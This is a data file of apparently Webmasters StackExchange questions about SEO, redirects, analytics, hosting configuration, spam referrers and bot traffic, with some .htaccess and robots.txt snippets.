{"id":"69101","title":"backlinks to our site are being ignored by google thus affecting our SEO","text":"As a software developer company we do websites to our customers. In these websites we always put a link linking back to our site. However, we did today a Google search (link:http:\/\/mydomain.com) to see which sites were linking back at us, and the result was empty. Can someone explain why these backlinks on our customers websites are being ignored by Google?"}
{"id":"45166","title":"Webmaster tools show old URLs are crawled","text":"We renewed our website last year (2012) in December. After that we have put 301 redirection in place for the required pages. We removed some pages in old site when we moved to new site. For example : In the old site we had `http:\/\/www.mydomain.com\/article\/` and in new website we removed it. Pages that don't exist in new site we redirect it to 404 page. Since then, the `Webmaster -> Crawler Errors -> Not Found` report shows these old URLs with a **Response code** of 404. Also the **Linked from** section displays internal site links that refer to this page. When I checked these pages, the link is not found. I understand by reading this Google link http:\/\/support.google.com\/webmasters\/bin\/answer.py?hl=en&answer=2409439 that these error don't harm our SEO, but I would like to know the exact reason why these happening."}
{"id":"27901","title":"Cookies Law- How will this affect my web Reports?","text":"I would like to understand how the Cookies Law, will affect the web analytic reporting? Is there another way of tracking?"}
{"id":"25235","title":"IP Banned from my own Website","text":"So recently, I added a php script that had to refresh the page a lot. This apparently caused my website to think that I was DDoSing it, and it automatically ip banned me and a bunch of friends that were using it with me. I can access my site right now with a vpn, so I was wondering, how do I remove the IP ban from the firewall? I am using a paid shared hosting service, so I don't have root access to the server. I have access to the cpanel and all the tools that come with that. I'm thinking it isn't possible, but hopefully you guys have other ideas. Thanks for any help."}
{"id":"25239","title":"fireworks font \/ text problem","text":"Fireworks cs5 (and cs4 for that matter) does not display fonts correctly. What I mean by that, Text appears different in browsers then it appears in fireworks. Changing anti-aliasing mode does not correct the problem and custom aliasing simply is not something I am willing to adjust every single time. Anyone knows a workaround or a fix for this? * * * EDIT: This link summarizes my problem. http:\/\/blog.hipchat.com\/2010\/11\/03\/how-adobe- ruined-fireworks-cs4cs5\/"}
{"id":"56387","title":"Static vs dynamic website search engine results","text":"I am mobile software developer and I want to create a website like this one. I will have static webpages not dynamic ones (homepage, jobs, about, contact...). When people search on Google with this word: \"iphone uygulama yaptirmak\", and I want to be on the first page. Google wants dynamic pages, not static. That's why I want to ask you if it will be a problem for my website?"}
{"id":"54696","title":"Email forwarding to Gmail accounts instead of maintaining a mail server?","text":"I want to set up 4-5 email addresses on my newly purchased domain (from `namecheap.com`), for team size of just 2-3 people. But I really don't want to maintain my own mail server. I don't have the experience and I want to avoid the expenses involved. Maybe I could have kept the mail server alongside my webapp on the web server, but I want to avoid that as well. So I came across a workaround option to forward the emails. Thus I could setup email forwarding from NameCheap's management console to my free Gmail accounts. So all my emails would come to Gmail account, convenient & familiar interface as well free. Are there any serious drawbacks of this approach?"}
{"id":"24774","title":"How transparent is a randomly named directory or file?","text":"> **Possible Duplicate:** > Are files in a hidden directory safe? Let's pretend that I have a website and want to keep personal notes on it. If I make a directory like mysite.com\/84eW93e7 or mysite.com\/34aWe897.txt where the letters and numbers are random so randomly guessing the file or directory name are impractical. How secure is this directory? Could someone still discover the existence of the file or directory assuming directory listing is off? If so, how would they find out? Of course this isn't something I would do, I'm just curious."}
{"id":"12085","title":"Custom report for tracking webiste search within specific page","text":"I've got a search page in my website: `www.example.com\/?page=search`. It presents an HTML form with method=\"get\" for searching the site so a search for \"test\" will result in url: `www.example.com\/?page=search&q=test` There is also pagination so I end up with the following content pages tracked in analytics: www.example.com\/?page=search&q=foobar&page=2 www.example.com\/?page=search&q=foobar&page=3 www.example.com\/?page=search&q=foobar&page=4 www.example.com\/?page=search&q=test www.example.com\/?page=search&q=test&page=2 www.example.com\/?page=search&q=test&page=3 etc... How is it possible to get a report for the search terms of \"page=search\"? Should I do it via the event tracking API or is there a configuration only way via Google Analytics? Maybe a custom report? thanks"}
{"id":"42730","title":"How does Indeed.com make it to the top of every single search for every single city I search for?","text":"I am very curious and want to understand how Indeed.com, the job board and job search engine company, is able to not only make it to the top of search engines for any city related job search but also dominate the top 5 to sometimes 8 positions completely on Google's first page of results when there is more than one city in the US with the same name. Try it - type in any combination like this: Austin jobs; New York Jobs; etc.. If you type in Boiling Springs jobs, a city name that is found in multiple states, you'll see they completely dominate the entire first page of results starting with position one. You can also see that same dominance if you type in a company name, like \"GE Jobs\" or even \"PHP Jobs\" How can they do this? First, this is a search engine - there are no real content pages on the site. If you get a list of results and click on one of the links, it takes you to the actual site where the job was found. Secondly, there are more than 40,000 cities in the US alone. I'll admit that there are some extremely talented SEO experts out there, but dominate every \"word\" plus \"job\" and \"location\" plus \"job\" combination that is typed into Google? Also, could their URL structure of the the search results have something to do with it? if you get a location result back, for example, its indeed.com\/l-Boiling-Springs,-NC-jobs.html. From a developer's perspective, I have never used a construction like that before. As a side note, tripadvisor.com, who dominates almost every query related to travel, uses the same structure. What are these guys doing? Thoughts? EDIT: I was continuing my research and I typed in \"indeed.com url structure.\" Guess what came up in the search results? http:\/\/www.indeed.com\/salary\/q-Changing-Url-Structure-l-Arkansas.html First, I cannot imagine that there are so many jobs in the world, and so many backlinks to the page, that it merited it's on webpage but also showed up before any other possible result. How did it take my query, build a page on the fly, and then push itself immediately to the top of google for the result?"}
{"id":"44281","title":"Does changing the URL of your website helps getting out of Google sandbox?","text":"I believe one of my websites went into Google's sandbox, because it was under construction. I know there is a debate about whether the sandbox exists, but when I read about it, it really seems like it exists and that I fell into it. My site is now finished and clean white hat SEO has been applied. I can see that the web URL is in the index with the site command. However, it does not rank for its keywords (it does not appear in search result) for the past two weeks. Google Webmaster crawl stats are erratic. The cache command returns a pretty recent version of it. I have read somewhere that changing the URL of one's website helps solving the Google Sandbox effect. Has anyone tried this and did it work? Would you recommend this? Thanks. **Update** I have performed a small test where I copied my site on another server with another IP address and another URL. I made a small modification to the title, but the content remained the same. That new site was indexed quickly, but it did not help getting out of the sandbox. So, this time, I know for sure this technique does not help... However, I noticed that setting a sitemap in my `robots.txt` with proper `lastmod` values for modified pages, helped update the cached page and the keywords in Google Webmaster Tools. My guess is that Google reads `robots.txt` more frequently than it crawls my sandbox pages, which helps presenting more recent content to users and accelerate the exit from the sandbox effect."}
{"id":"20489","title":"Blocking referral traffic","text":"I am currently getting a massive amount of referral traffic to my site (Spam), that can sometime generate 1-2 GB worth of traffic per a day (which kinda sucks, when you have a 10GB limit from the hosting company). I am seeing 4-5000 hits per day, generating 20-25000 page views... It seems that almost every day I'm having to add new sites to my .htaccess file to prevent my site being closed because I exceed my traffic limitations. From what I can see in the logs, whenever I add a site to be blocked, the traffic just starts coming from a new site within a couple hours. Here is something from my .htaccess file currently: RewriteEngine On RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.everyoneweb\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/freefilearchive\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/4runnerforex\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.julznakomua\\.strefa\\.pl [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/drugbuyersforum\\.org [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/protopage\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/stupidvideos\\.com [OR] RewriteCond %{HTTP_REFERER} ^https:\/\/sourceforge\\.net [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.sourceforge\\.net [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.thoughts\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.youfreeweb\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.facebook\\.com\\\\notes\\\\phentermine [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/theresaraatt\\.over-blog\\.com [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/grou\\.ps [OR] RewriteCond %{HTTP_REFERER} ^http:\/\/www\\.reverbnation\\.com RewriteRule (.*) http:\/\/%{REMOTE_ADDR}\/$ [R=301,L] order allow,deny deny from 109.227.125. deny from 109.227.124. allow from all Does anyone have an idea what could be done, about all that traffic coming my way ?"}
{"id":"2613","title":"Difference between meta tags Content-Language and language","text":"What's the difference between these two meta-tags <meta http-equiv=\"Content-Language\" content=\"de, en\"\/> <meta name=\"language\" content=\"de, en\"> Are they both needed?"}
{"id":"2611","title":"Yahoo Site Explorer API replacement?","text":"Since the Yahoo Site Explorer Web Services API is going away at the end of 2010, are there any other web search APIs that offer similar information? In particular, I'm interested in services similar to Inbound Links API and PageData API. I've heard a little bit about Majestic SEO, but don't know much about what they can offer in terms of APIs. Information about them or any other service is much appreciated. :)"}
{"id":"20955","title":"google analytics: what's the date range of front page numbers?","text":"I'm new to GA. Below is my landing page for GA, but what is the date range for the circled portion? Is it all time since GA was installed on site? eg, have there been 1,332 visits on my site since the beginning of when Google Analytics was installed on the site? "}
{"id":"20957","title":"How to show off press your website is getting?","text":"My product has been getting some good press lately, and I'd like to link to those articles from my blog. My concern is that Google will see this as a reciprocal link, and I'll lose any SEO benefit that the articles gave me. Is this a valid concern? How do you show off press that your product is getting?"}
{"id":"20484","title":"Should I add meta \"noindex, nofollow\" to a Tag cloud page?","text":"I have a giant tag cloud on my site and I'm trying to optimize it for search engine crawlers in order to avoid keyword stuffing penalties. In your experience, adding `noindex` or `nofollow` to the Tag cloud page could have some Seo result? Are there some best practices to properly code a huge Tag cloud with hundreds of internal links?"}
{"id":"7346","title":"What exactly is an SEO badge and how does it help my SEO?","text":"I'm using attracta.com as an SEO tool to try and improve my SEO. They say that I should use an SEO badge to improve my ranking but I don't really understand what it is or what it does (a quick Google search didn't provide too much information). I was just wondering if any of you guys here at stackoverflow had any information they would be able to impart to me. Thanks for your help!"}
{"id":"10026","title":"Is it good to generate dynamic keywords every time when page loaded?(SEO)","text":"I have my web portfolio. On my main page I have recently 6 added works from database(works with descriptions). I have created a php script ,php script generaeted keywords from 6 texts more then 100 keywords.When page loaded ,sript randomly generate 10 keywords from 100"}
{"id":"10797","title":"What is best practice for securing access to GMail for an enterprise?","text":"Is there any way to restrict access to Gmail accounts from certain IP\/MAC addresses ? For instance, can I setup Google Apps so that my users can access their GMail account from within the corporate firewall or from outside the firewall on a known machine, but not from a public browser or public machine. Or what would be best practice to prevent unauthorized access to corporate GMail accounts?"}
{"id":"31329","title":"Fetch as Google error 403","text":"2 weeks ago, Google started being unable access my website anymore. In Webmaster Tools I can't fetch any pages, always getting error 403, and the website has been completely dropped from Google search results. I can't figure why it suddenly can't see it anymore. I've checked .htaccess and there is nothing that blocks Google crawlers, and robots.txt is fine too. The site is accessible normally for users. Has anyone had this problem?"}
{"id":"21686","title":"vBulletin 3 spam solutions","text":"We use vBulletin 3 for our forums, with a ReCaptcha, a simple \"To verify you're a real person, what is the FIRST letter of the English alphabet?\" question on signup, and a verified email address required to post. We're also using \"TypePad Antispam Beta\" to automatically monitor posts for spam content. Previously this has been enough to keep us down to 1-2 spammers every month or so, but in the last week we've had a sudden explosion of 3-4 every day. :( Are there any other common plugins or solutions we could try to keep spam under control? I'd rather not turn on moderation for new user's posts, as that'll create a lot of work for us to approve them. I've checked the spamming users, and unfortunately there's no common factor (IP address, email domain etc) to identify them as spammers like I've seen in the past. They're all from different addresses, they use competent email services like gmail etc, so there's nothing trivial I can do to block them that way."}
{"id":"57154","title":"Schema markup error in Google Webmaster Tools: Missing required field \"name (fn)\"","text":"I'm receiving this schema markup error when I try to validate my code in Google Webmaster Tools: > Error: Missing required field \"name (fn)\". I'm trying to markup the following: * Type: Schema product * Property: Image This is my domain: www(dot)wishpicker(dot)com"}
{"id":"68131","title":"Defunct website taken over by spammer. How to stop them?","text":"A friend of mine used to publish a small literary fiction magazine, both in print and on the web. In 2011 she announced that she was quitting, put a note on the website, and carefully unwound the subscriptions. She continued hosting the site (with all the back-issues available for free) until the beginning of this year, when she let the hosting lapse and the domain name expire. Today she discovered that some unknown person has purchased her former domain name and put up a modified version of her entire site. The design is different but all the content is the same, including all of the back-issues of the magazine (and the stories by diverse authors contained within), their cover art, news posts, and even her contact information. All the content would have been available from Archive.org, so it's no mystery how they got it. The only thing noticeably changed is a column added to the front page titled \"Favorite Videos\", with around 35 links to Youtube videos. The links are named things like \"Video (Worry)\" and \"Video (Squirting)\" and the videos all feature a man named Leo giving dubious advice and promoting his life-coaching website. Here's one of the suspect videos. There does not appear to be any connection between the content of the videos and my friend or her magazine. I also posted to the Security StackExchange to ask why someone would do this and what the security risks are to her. What I want to know here is, what can she do to stop them? To be clear she doesn't want the domain name back. She just doesn't want her name and copyrighted material used deceptively. Also, what (if anything) could she have done when shutting down her website to avoid this happening?"}
{"id":"67760","title":"Which meta names are case-sensitive?","text":"I am the developer of an HTML checking tool. I want to check meta names to make sure they match case-sensitively when it matters. All I've come across so far (according to Google) is that this meta name (\"google-site-verification\") should be case sensitive as in: <meta name=\"google-site-verification\" content=\"XXX\"> That is, you would not want to use this: <meta name=\"GOOGLE-SITE-verification\" content=\"XXX\"> Are there any other meta names that are case-sensitive? I'd like to check for this in my tool. UPDATE: Looks like Microsoft has many more that are case-sensitive, most of which are msapplication-*: http:\/\/msdn.microsoft.com\/en- us\/library\/ie\/dn255024.aspx"}
{"id":"33093","title":"vhost set up help -- domain and ip point to the same site","text":"I have these virtual hosts set up however when I browse to `domain.com` or `123.45.67.89` they both point to `\/var\/www\/html\/`. How can I get them set up so they point to correct DocumentRoot? <VirtualHost *:80> ServerName 123.45.67.89 DocumentRoot \/var\/www\/html\/ <\/VirtualHost> <VirtualHost *:80> ServerName domain.com DocumentRoot \/var\/www\/vhosts\/domain.com\/htdocs <\/VirtualHost> **EDIT** : I actually had a seperate vhosts.conf file located in `\/etc\/httpd\/conf.d\/`. Subsequently this was being loaded (unbeknownst to me) by `Include conf.d\/*.conf` before -- NameVirtualHost *:80 Listen 80 I have moved the vhosts out of that directory and into `\/etc\/httpd\/conf\/vhosts\/` and amended my Include file at the bottom of `httpd.conf` to -- Include \/etc\/httpd\/conf\/vhosts\/*.conf I have also tried uncommenting `ServerName` and defining it as my servers IP and removing the first `VirtualHost`. The result of this is that `domain.com` points to the correct site though the IP points to that site now too."}
{"id":"62900","title":"Redirect all images in a directory to another website using .htaccess","text":"How can I redirect all `.png` and `.jpg` image URLs within the `\/tool\/img` directory to another website? Filenames can consist of special (unicode) characters. For example, the following URL: http:\/\/example.com\/tool\/img\/filename-with-special-chars.png Should redirect to: http:\/\/newdomain.com\/img\/filename-with-special-chars.png"}
{"id":"62901","title":"Using web.archive.org to recover website data","text":"I had a mediawiki website and there were some images which were removed because of useless. Later all images were deleted but links to them were saved in the form like: http:\/\/web.com\/images\/*\/*.jpg I've tried to put links to the from on https:\/\/archive.org\/web\/ Then I receive my images on the link: https:\/\/web.archive.org\/web\/*some date*\/http:\/\/web.com\/images\/*\/*.jpg How can I get all images contained in list.txt file which were saved with webarchive? My idea is to use curl because of complex POST and GET queries but I can't understand how to make it work with webarchive."}
{"id":"61364","title":"How to test a subdomain created with cPanel when using local hosts file entry for that subdomain","text":"I'm using Wordpress and Vanilla to run a site with supporting forums. WP is the in the root folder and vanilla is in the sub-folder 'forum'. This works on my local machine with the following HOSTS file entries: 127.0.0.1 dev.mydomain.com 127.0.0.1 devforum.mydomain.com I moved all the code up to a VPS and imported the DBs (including minor DB record changes necessary for WP migration). On the VPS, I have used WHM\/cPanel to setup www.mydomain.com and forum.mydomain.com, where the forum software is installed in a sub-folder of the main site. I used cPanel to create the subdomain and selected the correct sub-folder (public_html\/forum\/). The following entries in my local HOSTS file to map the VPS's IP address as I do not want global DNS servers to point the domain at my VPS just yet. Here are my local entries: 123.123.123.123 www.mydomain.com 123.123.123.123 forum.mydomain.com Wordpress works fine on www.mydomain.com, but the subdomain is redirecting to a default website page: forum.mydomain.com\/cgi-sys\/defaultwebpage.cgi Any thoughts on what I should be checking? I've triple checked everything I can think of, but it's saturday night and I think the coding beers are kicking in.."}
{"id":"33173","title":"Writing a Web Instant messenger","text":"I am trying to figure out how to write an instant messenger like Google talk\/Facebook Chat for my website. The accounts would all be in a mysql database. How could I get started with this?"}
{"id":"12335","title":"Should I escape the Apostrophe ( ' ) character with its HTML entity (')?","text":"What characters should be escaped with their HTML entities. For example, `&` is escaped with `&`. Should `'` be escaped with `'`?"}
{"id":"12337","title":"What payment options should we provide to maximize our customer base in Europe and the Americas?","text":"With an international customer base, how do other sites decide what payment options to provide to users? I've been trying to find the most popular online payment service providers, preferably broken down by country. For instance, which payment service providers process the most transactions, when users in Mexico buy goods online? Ideally, I'd like to find the same data for all countries in North America, South America, and Europe. In the U.S., possible answers might include services such as Paypal, Google Checkout, or Authorize.net. Any idea where I might be able to find that kind of data? Or is there a better way to decide? Thanks!"}
{"id":"54817","title":"Difference between forwarding and redirecting in GoDaddy?","text":"I have a GoDaddy account with a domain and hosting, and I see that I can _forward_ the subdomains in https:\/\/dcc.godaddy.com\/ or _redirect_ subdomains in Hosting->Settings->\"URL Redirects\". What's the difference between redirecting of forwarding a subdomain?"}
{"id":"67727","title":"I am using PHPCake\/cPanel\/ HostGator\/Win8 OS, How can I search for words\/commands within many files at once?","text":"How can I search for a specific string (function name or a variable name) in my files which are in various directories under cPanel file manager? I am a beginner. So please be extra wordy with your explanation :) I have seen other state something about grep, but I do not have linux or any special software. If someone could tell me what I need to get started would be greatly appreciated."}
{"id":"48519","title":"How to conduct A\/B split testing with AdSense?","text":"Ok so I have decided to A\/B test my AdSense ads. I have run a few tests, but I don't know what conclusion to draw and how to keep track of things. Some specific questions: 1. If I have 2 test units, 1 wins. I test that with a new and so on. How do I find if say the fifth one did better than the first one? How do I keep track of things? 2. Do I let the variables independent of each other, because they certainly are not. In real life, font size can affect CTR even if the colors are different. 3. I can test blue color with red color, and then test Arial font with Georgia, but how do I know which combination is the best? This would result in way too many test units. I tried Googling a lot, but I could not find answers to these questions."}
{"id":"30487","title":"do text ads count as backlinks?","text":"Do text link ads, like the ones from text-link-ads.com act as backlinks ? Surly they work as normal anchor text, but are search engines wise to this technique and just not count them ?"}
{"id":"10248","title":"MODX based site has been compromised, and tagged by Google as malware","text":"I'm the webmaster (inherited the site from the developer) for a site called kenbrook.org. The site is currently being tagged as malware infected by Google, and gives the following details: http:\/\/www.google.com\/safebrowsing\/diagnostic?site=kenbrook.org Sadly, this is the second time it has occurred. I posted the issue when it happened last year originally on Stackoverflow on this post, shortly after I inherited the site. At the time the fix was a simple removal of a few lines of code from a .js file, but I never did discover or resolve the vulnerability. The site is built on MODX, which neither I, nor the original builder, have any familiarity with. I've tried to check for security updates from MODX, but updating that software has been a real pain also. Sooo...what's my next step to getting this whole issue resolved? Or steps?"}
{"id":"63364","title":"How to set up a mail server on Linux only for sending admin\/debug emails?","text":"I need to send server reports to myself from my remote servers, and I don't mind them going to spam, so I don't need SPF, DKIM, etc. I tried using `mailutils` to send something like this: `uptime | mail -s \"uptime\" foo@bar.com`, but the emails don't go through. In \/var\/mail\/root I received a message saying the HELO was invalid. So then I tried also adding `-r root@my-ip`, and now I don't get any error messages but I don't receive the email either. How can I do this?"}
{"id":"9029","title":"What is your toolset?","text":"What tools, free or otherwise do you use to help you with your \"webmastering\" I'm thinking along the lines of, Link checking, analytics, web stats, page validation, plus anything else you can think of! Personally I use: webmasters tools, google analytics, AWstats I'm looking for anything (free or paid) which maybe hovering under my radar which could be of use."}
{"id":"18537","title":"Ad serving applications - alternative to Openx?","text":"> **Possible Duplicate:** > PHP based ad server ( alternative to OpenX ) I have been serving ads via OpenX on a site for a while now but was recently hit by the SQL Injection vulnerability in the software which caused all sorts of problems. I am looking for an alternative to OpenX. It doesn't have to be open source, so far Ad Butler is looking the most promising. Any one have any suggestions for a decent ad serving solution?"}
{"id":"29081","title":"Best practice when translating sites into multiple languages - new domains?","text":"For the same website I've got 3 domains: `.fr`, `.com`, and `.co.uk`. To start with it was to avoid people buying the same name. I used have my content in French only and redirected all the traffic to the .com using 301. Now I've got all my content translated from french wonder what would be the best thing to do: * `www.domain.fr`: French content * `www.domain.com`: English content or keep the 301 and go for * `www.domain.com\/fr\/`: French content * `www.domain.com\/en\/`: English content The obvious seems to use `.fr` for French and `.com` for English, but what's about the `co.uk`? I'm planning on get it translated into Spanish and German, using \/fr\/ \/en\/ \/es\/ \/de\/ It will be easier and cheaper than buying more domains. I'm planning to do my change in 2 weeks and once it's done, unless I start to create long and painful rewrite rules, I will lose my Google rank."}
{"id":"10241","title":"URL Rewrite http to https EXCEPT files in a specific subfolder","text":"I am trying to force all traffic on my web site to use HTTPS, using the URL Rewrite 2.0 module added to IIS 7.5. I got that working and now have a need to exclude a couple of pages from using SSL. So I need a rule to rewrite all URL except those referencing this folder to HTTPS. I've been banging my head against the wall on this and am hoping someone can help. I tried creating a rule to match all URL except those in a nossl subfolder as in this example: <rule name=\"HTTP to HTTPS redirect\" enabled=\"true\" stopProcessing=\"true\"> <match url=\"(\/nossl\/.*)\" negate=\"true\" \/> <conditions logicalGrouping=\"MatchAll\" trackAllCaptures=\"false\"> <add input=\"{HTTPS}\" pattern=\"off\" \/> <\/conditions> <action type=\"Redirect\" url=\"https:\/\/{HTTP_HOST}\/{R:1}\" redirectType=\"Found\" \/> <\/rule> But this doesn't work. Can anyone help?"}
{"id":"29085","title":"Overuse of <h1> was bad, but now, with HTML5?","text":"We know that the overuse of `<h1>` can lead to an over-optimization penalty, but now, in HTML5 it's allowed to use multiple `<h1>` in the same page (inside nested sections). What will Google do with pages containing `<h1>` titles only?"}
{"id":"9023","title":"I used a 301 Permanent Redirect to a 3rd party site by mistake! Can I stop the redirection?","text":"Oh Noes! I've been parking a domain name for a friend\/client of mine on my hosting provider (Dreamhost, FWIW) for a while, and they eventually asked me to redirect their domain to a 3rd party website which is currently featuring some relevant promotional content. Once this period ends, we will probably go ahead and set up a proper website for the domain on my hosting account. I used Dreamhost's \"redirect\" hosting option in their domain configuration panel, not realizing that it would implement a 301 Permanent redirect, or what the implications were. Now it seems that for any client that has visited the site anytime recently, the 301 redirect is still cached\/in effect, although I have changed the domain settings back to regular Dreamhost full site hosting. It seems that the only thing that can be done is to wait out the TTL\/cache expiration for the redirect. I have no idea how long that might be, so I'm wondering if there is any good way to cache-bust the redirect or otherwise undo its long-term effects. I put a simple html meta refresh in the domain folder to replace the 301 to keep the intended functionality in place, but I'm still not able to access the domain's other content normally, even via FTP, etc. Isn't there anything I can do? Otherwise, how long does it take for a cached redirect to expire? It's gonna be a bummer if it's _really_ permanent."}
{"id":"10245","title":"Google indexed site's address by accident. What do I do now?","text":"I was making a site for a friend of mine and he wanted to be able to see my progress as I worked on the site, so I decided to put the site on a server on my computer and enable access by a domain name registered to me. It turns out that I forgot to set up a `robots.txt` file for the site and somehow Google indexed the site. My question is: What do I do now? As I understand it, Google doesn't like duplicate content and my friend could have problems when I upload the new site to his server. Right now his current site, which only has a work in progress page, is first on Google when searching for relevant keywords and I really really don't want to damage that. Is there anything else I need to be concerned about?"}
{"id":"35373","title":"Should I use nodindex, follow or rel canonical?","text":"I have a site that lists offers, promotions from other websites. Since the offers expire rather quickly I don't save them into my database. I see no point in having a page from 2010 about 30% discount on a certain brand of shoes which isn't availabe anymore. 1. A visitor enters my website; 2. He clicks on the \"shoes\" category: `http:\/\/www.mysite.com\/shoes\/` Here he sees 20 available promotions from different online stores. 1. He clicks on a promotion and gets to a page like this: `http:\/\/www.mysite.com\/shoes\/promotions\/prada` Questions: I use the template promotions.php and list all the promotions. \/promotions\/prada\/ \/promotions\/otherbrand\/ .... What I do is use \"noindex, follow\" for the links. Is that a good idea? Or should I use rel=\"canonical\" for the promotion page? How do you advise me to handle this from the SEO point of view?"}
{"id":"18687","title":"Why don't people upgrade their browsers?","text":"Any web designer\/developer will know that we have to make our code backwards- compatible with a number of (much) older browsers, just to cater for those that haven't updated. My question is.. why don't people update? Most new browsers will run on a wide variety of systems and it's not like they aren't advertised - I've seen numerous prompts on my travels around the web to install chrome or the latest Firefox and what not. So what excuses do people have for sticking with IE6 or older equivilents? Personally, I'm phasing out support for older browsers on a number of my sites - 'old-browser' visitors are sparse and I see it as a 'nudge' to join 2011..."}
{"id":"37706","title":"how did Google Analytics kill my site?","text":"Yesterday I created a google analytics profile for one of my sites and included the JS block in the layout template. What happened next was very strange. Within about 2 minutes, the site had become unreachable. I had been checking the AWStats page for the site when I thought to set up GA. After that had been done, I clicked on the link for 404 stats, which opens in a new tab. It churned for a long while and then showed a nearly blank page, similar to that when Firefox chokes on a badly-formatted XML page, except there was no error msg. But i was logged into the server and could see that that page has a 401 Transitional DTD. Strange! I tried viewing source but it just churned endlessly. I then tried \"inspect element\" and was able to see an error msg having to do with some internal Firefox lib. Unfortunately, i neglected to copy that. :-( All further attempts to load anything on the site would time out. Firebug's Net panel showed no request being made. Chrome would time out. So, I deleted the GA profile, removed the JS block, and cleared the server cache. No joy. I then removed all google cookies and disabled JS. Still nothing. No luck in any other browser. And now my client couldn't access the site. Terrific. I was able use wget while logged into another server. The retrieved page was fine, and did not contain the GA JS block. However, the two servers are on the same network. (Perhaps a clue.) The server itself was fine. Ping, traceroute looked great. I could SSH in. I tailed the access log and tried a browser request. Nothing. But i forgot to quit and a minute or so later I saw a request from someone else being logged. Later, I could see that requests had been served all day to some people. Now, 24 hours later, the site works once again, but is still unreachable by the client (who is in another city). So, does anyone have some insight into what's going on? Does this have something to do with google's CDN? I don't know very much about how GA works but what I'm seeing reminds me of DNS propagation issues. And why the initial XML error? And why the heck was the site just plain unreachable? What did google do to my site?! Sorry for the length but I wanted to cover everything."}
{"id":"33289","title":"Is it OK to have 10 rotating banners from Hostgator in the same banner slot?","text":"I have 728x90 position on my blog and I have a php script that randomly choose number from 0 - 9 and display a random banner from Hostgator affiliate banners. Should I stick with one or is the rotating thing actually better and can bring more attention from the visitors as only one or two rotating banners in the banner slot?"}
{"id":"21535","title":"AdSense block not displaying anything","text":"I have copied and pasted the following code into my page, but it seems to be having no effect. It should have a fall back block colour, but nothing is showing. Code copied\/pasted straight from Google: <script type=\"text\/javascript\"><!-- google_ad_client = \"ca-pub-7972043490779920\"; \/* SALF *\/ google_ad_slot = \"4085311300\"; google_ad_width = 300; google_ad_height = 250; \/\/--> <\/script> <script type=\"text\/javascript\" src=\"http:\/\/pagead2.googlesyndication.com\/pagead\/show_ads.js\"> <\/script>"}
{"id":"49867","title":"Disallowed images in the robots.txt of my Joomla site can't be displayed when shared in Facebook","text":"I have noticed that since I have disallowed images using the robots.txt in my Joomla site, when sharing an article in Facebook, the image will not be displayed. Why is that? Is it indeed related? My robots.txt file: User-agent: * Disallow: \/administrator\/ Disallow: \/cache\/ Disallow: \/cli\/ Disallow: \/components\/ Disallow: \/images\/ Disallow: \/includes\/ Disallow: \/installation\/ Disallow: \/language\/ Disallow: \/libraries\/ Disallow: \/logs\/ Disallow: \/media\/ Disallow: \/modules\/ Disallow: \/plugins\/ Disallow: \/templates\/ Disallow: \/tmp\/"}
{"id":"65854","title":"Google Analytics: Unable to create more Property and View","text":"I have 20 Properties and one of them has 10 Views. The \"Create new Property\" and \"Create new view\" are grayed out, after I added those 10 Views. Is there a limit or something I did wrong?"}
{"id":"29881","title":"Download swf files from a flash site embedded with SWFObject?","text":"We need to download swf files from a Moto CMS and we don't have access through FTP. The swfs are embedded with object tags. Is there a way to get the data from an object without an FTP connection?"}
{"id":"742","title":"Are there other \"approval\" services for other email providers, like SenderID for Hotmail?","text":"This question comes from: http:\/\/webmasters.stackexchange.com\/questions\/695\/how-to-avoid-hotmail-live- rejections-for-legit-large-volume-emailing I never knew about this for Hotmail and I'm wondering if there are similar services for Google, Yahoo or others. I work on a few newsletter managers and I want to make sure the emails are getting to their recipients."}
{"id":"29883","title":"Need to Stop Bots from Killing my Webserver","text":"I am having EXTREME bot problems on the some of my websites within my hosting account. The bots utilize over 98% of my CPU resources and 99% of my bandwidth for my entire hosting account. These bots are generating over **1 GB of traffic per hour** for my sites. The real human traffic for all of these sites is **less than 100 MB \/ month**. I have done extensive research on both robots.txt and .htaccess file to block these bots but all methods failed. I have also put code in the robots.txt files to block access to the scripts directories, but these bots (Google, MS Bing, and Yahoo) ignore the rules and run the scripts anyways. I do not want to completely block the Google, MS Bing, and Yahoo bots, but I want to limit there crawl rate. Also, adding a Crawl-delay statement in the robots.txt file does not slow down the bots. My current robots.txt and .htacces code for all sites are stated below. I have setup both Microsoft and Google webmaster tools to slow down the crawl rate to the absolute minimum, but they are still hitting these sites at a rate of 10 hits \/ second. In addition, every time I upload a file that causes an error, the entire VPS webserver goes down within seconds such that I cannot even access the site correct the issue due to the on-slot of hits by these bots. What can I do to stop the on-slot of traffic to my websites? I tried asking my web hosting company (site5.com) many times about this issue in the past months and they cannot help me with this problem. **What I really need is to prevent the Bots from running the rss2html.php script. I tried both sessions and cookies and both failed.** # robots.txt User-agent: Mediapartners-Google Disallow: User-agent: Googlebot Disallow: User-agent: Adsbot-Google Disallow: User-agent: Googlebot-Image Disallow: User-agent: Googlebot-Mobile Disallow: User-agent: MSNBot Disallow: User-agent: bingbot Disallow: User-agent: Slurp Disallow: User-Agent: Yahoo! Slurp Disallow: # Directories User-agent: * Disallow: \/ Disallow: \/cgi-bin\/ Disallow: \/ads\/ Disallow: \/assets\/ Disallow: \/cgi-bin\/ Disallow: \/phone\/ Disallow: \/scripts\/ # Files Disallow: \/ads\/random_ads.php Disallow: \/scripts\/rss2html.php Disallow: \/scripts\/search_terms.php Disallow: \/scripts\/template.html Disallow: \/scripts\/template_mobile.html # .htaccess ErrorDocument 400 http:\/\/english-1329329990.spampoison.com ErrorDocument 401 http:\/\/english-1329329990.spampoison.com ErrorDocument 403 http:\/\/english-1329329990.spampoison.com ErrorDocument 404 \/index.php SetEnvIfNoCase User-Agent \"^Yandex*\" bad_bot SetEnvIfNoCase User-Agent \"^baidu*\" bad_bot Order Deny,Allow Deny from env=bad_bot 